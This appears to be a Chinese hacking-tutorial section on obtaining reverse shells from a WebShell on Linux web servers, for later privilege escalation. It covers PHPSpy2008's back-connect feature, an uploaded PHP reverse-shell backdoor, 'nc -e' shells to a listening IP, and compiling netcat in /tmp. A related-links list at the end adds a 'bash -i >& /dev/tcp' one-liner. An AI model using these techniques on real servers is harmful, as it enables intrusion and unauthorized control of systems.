13.2 Linux下通过WebShell反弹Shell的技巧

Linux下通过WebShell反弹CmdShell,在网站服务器入侵提权过程中的应用比Windows环境下更广更频繁。

Linux提权绝大部分都靠的是Local Exploit。WebShell一般都可以执行命令,但是溢出必须在可交互环境运行,否则如果直接在WebShell执行,即使能溢出提权成功,也没法利用。因此必须要反弹一个Shell命令行窗口,在命令行终端下执行溢出进行提权。

13.2.1 使用PHP WebShell木马反弹Shell

一般情况下,大多数PHP WebShell木马后门都带有的Back Connect功能弹回一个Shell。例如在PHPSpy2008木马后门中,有一个Back Connect反弹连接功能,可以反弹获得一个继承当前WebShell权限的Shell命令窗口。

在使用Back Connect反弹连接功能前,首先需要使用NC工具在本地监听一个未使用的端口,例如监听本地8888端口,执行如下命令:

然后在WebShell的Back Connect反弹连接功能页中,会自动检测本机的IP地址,在“Your IP”中显示本机IP,在“Your Port”中输入监听的端口,这里为8080。然后选择要使用的反弹连接方式,PHPSpy2008提供了两种反弹连接方式,Perl和C,这里使用Perl反弹(图403)。

图403

设置完毕后,点击“Start”按钮,即可发送Shell窗口到监听端口了。在NC监听窗口中,可得到一个Shell命令行窗口(图404)。

图404

除了PHPSpy2008之外,还有一些专用的PHP反弹shell网页后门。首先在本地用文本编辑器打开PHP反弹shell网页后门文件,在其中找到如下代码内容:

图405

修改设置其中的反弹IP地址111.123.96.28为本机IP地址,默认反弹端口为8888,可进行修改(图405)。修改后保存文件,将其通过WebShell上传。假设上传后的链接地址为http://www.***.com/shell.php。然后在本地打开命令提示符窗口,执行如下命令:

使用nc监听本地的8888端口。在浏览器中访问http://www.***.com/shell.php,在nc监听的端口中,就可以获得一个从网站服务器上返回来的命令行Shell了。

13.2.2 使用NC反弹Shell

在进行Shell反弹时,有时会碰到服务器不支持PHP或者WebShell无法成功反弹Shell的情况,例如有的服务器只支持JSP,不支持PHP。此时,可以同样采用Windows下的经典的NC反弹Shell方法。

在Windows下反弹CmdShell时,首先要在本机运行“nc -vv -l -p 端口号”监听端口,然后在WebShell中执行“nc -e cmd.exe 监听主机IP地址 端口”,就可以反弹一个CmdShell。这个方法在Linux中仍然可行,只不过需要作一点小小的改动。

——在本机监听端口后,在WebShell运行nc反弹时,需要发送的是“/bin/sh”,而不是cmd.exe,这样才够反弹发送一个Linux下的Shell命令行窗口给监听主机。例如执行如下命令:

即可反弹一个Shell到IP地址为119.1.44.32的监听主机的8888端口。

13.2.3 远程主机无NC工具时的解决办法

在使用NC反弹Shell时,还会碰到远程主机上不能直接执行nc,或者没有安装nc工具。碰到这样的情况,可以给手工给远程主机安装一个NC,比较方便的方法是,到http://netcat.sourceforge.net/download.php下载nc源码,然后在本地Linux机器上编译成可执行程序后,再将编译文件上传到远程主机上。如果本地编译的程序在远程主机上无法使用,可以直接把源码传上去后,在目标机器上直接编译。

如果需要在目标机器上编译NC的话,需要注意一些问题,因为在得到Shell命令行窗口前,只能在WebShell里执行命令,一般每次只能执行一条,然后等待执行后的结果回显。

另外,在编译时需要注意程序执行路径的问题。由于Linux下权限设置非常严格,即使攻击者获得了WebShell,也可能无法直接在WEB网页目录下写入文件,只能在/tmp之类的文件夹中上传写入NC源文件(图406)。

图406

例如WebShell在/var/www/目录,那么在WebShell中执行命令默认的当前路径都是/var/www/,如果netcat源码包解压在了/tmp/netcat-0.7.1文件夹,在编译netcat进行make操作时,由于当前路径是/var/www/,而不是/tmp/netcat-0.7.1,所以在make操作时会出错。解决这个问题其实很简单,可以直接把切换路径和make操作两句命令写成一句,用分号隔开写就可以了。

将netcat-0.7.1源文件上传到可写文件夹/tmp中后,在WebShell中编译nc的操作过程及命令如下:

图407

执行该命令后,可以将netcat-0.7.1源文件解压到/tmp/netcat-0.7.1目录中(图407)。然后再执行命令:

配置完毕后,再执行如下命令进行编译:

由于使用了分号,可同时执行两条命令,将make跟在目录切换命令后面,在编译的时候就不会报错了(图408)。

图408

编译成功以后,就可以输入命令反弹Shell了,例如这里nc路径是/tmp/netcat-0.7.1/nc,在本地执行“nc -vv -l -p 8080”命令监听8080号端口后,在WebShell中执行如下命令(图409):

图409

即可向主机反弹回一个Shell命令行窗口了。需要注意的是,反弹的Linux Shell是没有$提示符的,执行一句返回一句(图410)。另外,这里反弹Shell时候运行的是/bin/sh,也可以反弹运行/bin/bash,但/bin/sh的权限比/bin/bash要设置松一些,因此成功率更高一些。

图410

Linux下通过WebShell反弹Shell的技巧相关推荐

  1. linux下几种反弹Shell方法的总结与理解

    实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port ...

  2. LINUX下的流量监控shell脚本

    这篇文章主要介绍了LINUX下的流量监控shell脚本,可以适用任何Linux版本,需要的朋友可以参考下 一.脚本源码 # vi /etc/rc.d/traffic_monitor.sh ------ ...

  3. linux 命令美丽,美丽的程序猿-Linux下那些查找文件的小技巧-find

    原标题:美丽的程序猿-Linux下那些查找文件的小技巧-find 一.按照文件名匹配查找 1. 查找当前目录下的文件tmp.sh find . –name tmp.sh 可以看出,使用.查找是查找当前 ...

  4. linux脚本输出到文件,在linux下,如何将shell里输出的信息写入到文件里呢?

    在linux下,如何将shell里输出的信息写入到文件里呢? 在linux下,如何将shell里输出的信息写入到文件里呢? 通过下面的两个管道符可以实现些功能. >               ...

  5. linux在文件里写入,在linux下,如何将shell里输出的信息写入到文件里呢?

    在linux下,如何将shell里输出的信息写入到文件里呢? 通过下面的两个管道符可以实现些功能. >               将信息写入文件 >>             在现 ...

  6. linux 下ssh端口反弹,利用ssh隧道反弹shell

    说明 本文旨在分析rssh的源代码来学习利用ssh隧道来反弹shell.整个rssh只有1个347行的main文件,所以整体的逻辑结构也比较好分析.关于SSH端口转发的知识可以看实战SSH端口转发这篇 ...

  7. 提权(概述、水平/垂直越权、windows/linux提权、反弹shell、Linux_Exploit_Suggester、searchsploit)

    文章目录 提权 一.概述 二.水平越权&垂直越权 三.分类 - windows 1. 基于windows2003 2. 基于windows2008 3. ms SQL提权 5. nc反弹she ...

  8. 当Linux提权不能反弹Shell时利用metasploit进行提权

    当LINUX提权反弹不了时.经常遇到这种情况 请出MSF .. 1 .生成WEBSHELL文件 msf > msfpayload php/reverse_php LHOST=你的IP LPORT ...

  9. linux下各种工具以及shell经验总结

    这篇文章是从我多年前的博客倒腾过来的,以后我会继续慢慢更新这篇文章. 1.ls 1)选项-1:所有结果显示为一列 2.grep -c:只显示匹配结果的总行数 grep -c "gejun&q ...

  10. mysql 反弹shell_Linux下几种反弹Shell方法的总结与理解

    *本文原创作者:LlawLiet,本文属FreeBuf原创奖励计划,未经许可禁止转载. 之前在网上看到很多师傅们总结的linux反弹shell的一些方法,为了更熟练的去运用这些技术,于是自己花精力查了 ...

最新文章

  1. 5 亿微博数据疑泄露,Python 爬虫如何避免踩天坑?
  2. 快速构建深度学习图像数据集,微软Bing和Google哪个更好用?
  3. vfp全国计算机二级,全国计算机二级VFP试题
  4. 网站建设中这些图片优化小技巧需掌握
  5. 五万字 Linux 知识点深度解析,学完每个人都是高手
  6. php自定义模块,简单介绍OpenCart自定义模块
  7. 记录之pytorch中文文档
  8. 给大家推荐对Redis分析讲解比较详细的大牛
  9. centos python_在centos上配置python的虚拟开发环境
  10. 济南市区块链产业创新发展行动计划对外公布
  11. 如约而至!第二期 Flink 极客训练营上线啦
  12. Apache Flink 进阶(八):详解 Metrics 原理与实战
  13. Java学习(11-15天, 线性数据结构)
  14. 大一微积分笔记整理_大学数学-微积分学笔记.pdf
  15. BioPython安装与入门
  16. VMware Workstation -- 破解密码
  17. 陆源:阿贝尔对椭圆函数论的贡献[附椭圆函数、模形式(g_2,g_3)、模函数的C++程序计算]
  18. 【OpenCV】Linux 下用 g++ 编译 OpenCV 程序
  19. amp;#9733;平衡法则在生活中的应用
  20. 点击文字或者按钮在本页面中弹出悬浮小窗口

热门文章

  1. 自定义获取焦点的TextView
  2. magento Service Temporarily Unavailable
  3. [IC]Lithograph(1)光刻技术分析与展望
  4. BackgroundWorker的使用
  5. net 进阶学习 WebApi (2)
  6. Thinkphp5.1 配置域名(站点)设置
  7. Oracle中的rownum不能使用大于的问题
  8. php四种基础算法:冒泡,选择,插入和快速排序法PHP基础教程
  9. InnoDB存储引擎--学习笔记-redo log
  10. Phome开发历程分享——Enjoy the Beginning